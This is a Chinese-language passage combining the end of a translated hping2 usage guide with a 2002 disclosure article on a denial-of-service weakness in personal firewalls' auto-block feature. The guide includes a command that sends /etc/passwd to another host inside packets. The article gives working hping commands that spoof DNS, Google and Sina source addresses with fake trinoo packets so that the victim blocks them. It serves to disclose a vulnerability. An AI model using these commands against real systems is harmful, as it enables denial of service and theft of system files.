强大的TCP/IP工具-hping

其他: 

-d --data data size 设置包大小,注意:指定DATA为40时,输出如下: 

HPING www.yahoo.com (ppp0 204.71.200.67): NO FLAGS are set, 40 headers + 40 data bytes 

-E --file filename 指定包内容如FILENAME里的一样 
-e --sign signature 指定包头的内容 
-j --dump Dump received packets in hex. 
-J --print Dump received packets‘s printable characters. -B --safe 
-B --safe 确保数据完整发出 例如:要发送A的/etc/passwd给B 

[host_a]# hping2 host_b --udp -p 53 -d 100 --sign signature --safe --file /etc/passwd 
[host_b]# hping2 host_a --listen signature --safe --icmp 

-U --END 如果你用了--FILE项,当EOF到达后,此项可以帮助你自动停止接收无用的数据, 
-T --traceroute 路由模式,自己摸索吧, 
--tr -keep-ttl 一个和路由有关的项,举例: hping2 host --traceroute --ttl 5 --tr-keep-ttl. 
--tr-stop 当ICMP一旦不可到达时,自动停止发送 
--tr-no-rrt 在路由模式里不显示RTT信息, 
--tcpexitcode 在某些规则下可探知主机是否存活 

另外的: 

标准TCP输出格式: len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms 
当用HPING -V测试时,结果如下: len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 
win=0 rtt=0.4 ms tos=0 iplen=40 seq=0 ack=1223672061 sum=e61d urp=0 

自己比较其中异同吧 

标准UDP输出 len=46 ip=192.168.1.1 seq=0 ttl=64 id=0 rtt=6.0 ms 

ICMP输出格式: 主机可达时: ICMP Port Unreachable from ip=192.168.1.1 name=nano.marmoc.net 
主机不可到达时:TTL 0 during transit from ip=192.168.1.1 name=nano.marmoc.net 

译者注: 

翻译本文时,并没完全按照原文,而且有些地方确实不好翻译,另外还加了一些自己的想法,不过比较琐碎,现在再说一个大概吧. 
我本来是用它来测试天网防火墙的,可以说,在它攻击下,天网显得很脆弱,我可以伪造任何一个可以想到的IP来攻击同学,(当然,同学事先知道的).天网的默认规则如下: 

UDP一概不理会,TCP高端口也不理会,至于最高端口在什么地方,懒的测试,假如对方IP为192.168.3.2.你也可以伪造出 
:192.168.3.2试图PING 192.168.3.2的报文,我试图联接对方udp139端口,回车后: 

hping 192.168.3.2 (eth0 192.168.3.2 ):udp mode set,28 headers +13data bytes 

如果发送到12345端口(没开),显示 udp Port Unreachable 
如果发到防火墙屏蔽的某端口:transit (关键字) 

我还用过SING 不过那命令参数更复杂,说明也不很详悉,但在伪造IP上,SING 更强大的是,可以伪造MAC地址,我用TCPDUMP监视本机数据流时,发现它们攻击时,本机只能记录一些ARP应答,其余什么也没有,就写这么多吧,我会在以后继续探测HPING 与SING的作用,详悉关于HPING,的消息,去WWW.hping.org 去看吧,他们是一群很不错的人,我是CIEL 邮箱106130@sohu.com 

欢迎探讨, 你可以随意转载本文, 但请注明作者及转处. 
多家个人防火墙存在远端拒绝服务安全问题 
Oct 10,2002 

作者：Yiming Gong 
http://security.zz.ha.cn 


声明:任何形式的摘抄必须保留上述作者和http地址 

首先要说明的一点是，这并不是一种多么新的技术手段，但是下面描述的问题确实是广泛的存在的，而且实现起来太简单了，应该引起我们的重视。 

随着安全意识的增强，越来越多的网络使用者开始在他们的pc机器上使用软件防火墙，而新的防火墙很多都有了auto-block功能，这些防火墙在工作时，对危害级别较低的防卫手段往往是屏蔽数据包，但是当这些防火墙检测到高危害的数据时，auto-block会起作用，将来源ip地址（注意是来源ip地址而不是数据包）block了，可惜的是目前本人接触到的几乎全部PC用软件个人防火墙都不是基于状态的，这样就产生了一个问题，当恶意人士以伪造的IP地址发送假的攻击数据包时，防火墙会不加判断将这些伪造的IP地址屏蔽，OK，知道了这一点，我们假冒GOOGLE，DNS 服务器 ，OICQ的聊天服务器的IP地址来向目标系统发送攻击数据包…… 

而且，非常不幸的是目前业界领先的许多厂家的产品，比如：Norton personal firewall 2002，BlackICE等都存在这个问题。 

我们可以来个实际的例子： 

step 1:目标主机安装了blackice，它的 ip address是 ip.add.of.victim 

step 2:发起攻击的一太linux 机器，上面安装了hping (可以从 
www.hping.org下载) 
执行如下命令 
--- 
[root@yiminggong]# hping -p 31335 -e PONG -2 ip.add.of.victim -c 5 -d 4 -a ip.add. of.dnsserver 
HPING ip.add.of.victim (eth0 ip.add.of.victim): udp mode set, 28 headers 
+ 4 data bytes 

--- ip.add.of.victim hping statistic --- 
5 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms 

[root@yiminggong]# hping -p 31335 -e PONG -2 ip.add.of.victim -c 5 -d 4 -a www.google.com 
HPING ip.add.of.victim (eth0 ip.add.of.victim): udp mode set, 28 headers 
+ 4 data bytes 

--- ip.add.of.victim hping statistic --- 
5 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms 

[root@ yiminggong]# hping -p 31335 -e PONG -2 ip.add.of.victim -c 5 -d 4 -a www.sina.com 
HPING ip.add.of.victim (eth0 ip.add.of.victim): udp mode set, 28 headers 
+ 4 data bytes 

--- ip.add.of.victim hping statistic --- 
5 packets tramitted, 0 packets received, 100% packet loss round-trip min/avg/max = 0.0/0.0/0.0 ms 
--- 
上面的三个命令干了同一件事情，以伪造的ip发送假的trinoo攻击数据包. 

结果:在目标主机上所有伪造的ip地址网络连接被block了，也就是对目标主机ip.add.of.victim而言，它的dns服务器，google和sina都无法访问了。 


我很怀疑目前的个人防火墙只要存在auto-block功能，就存在这一问题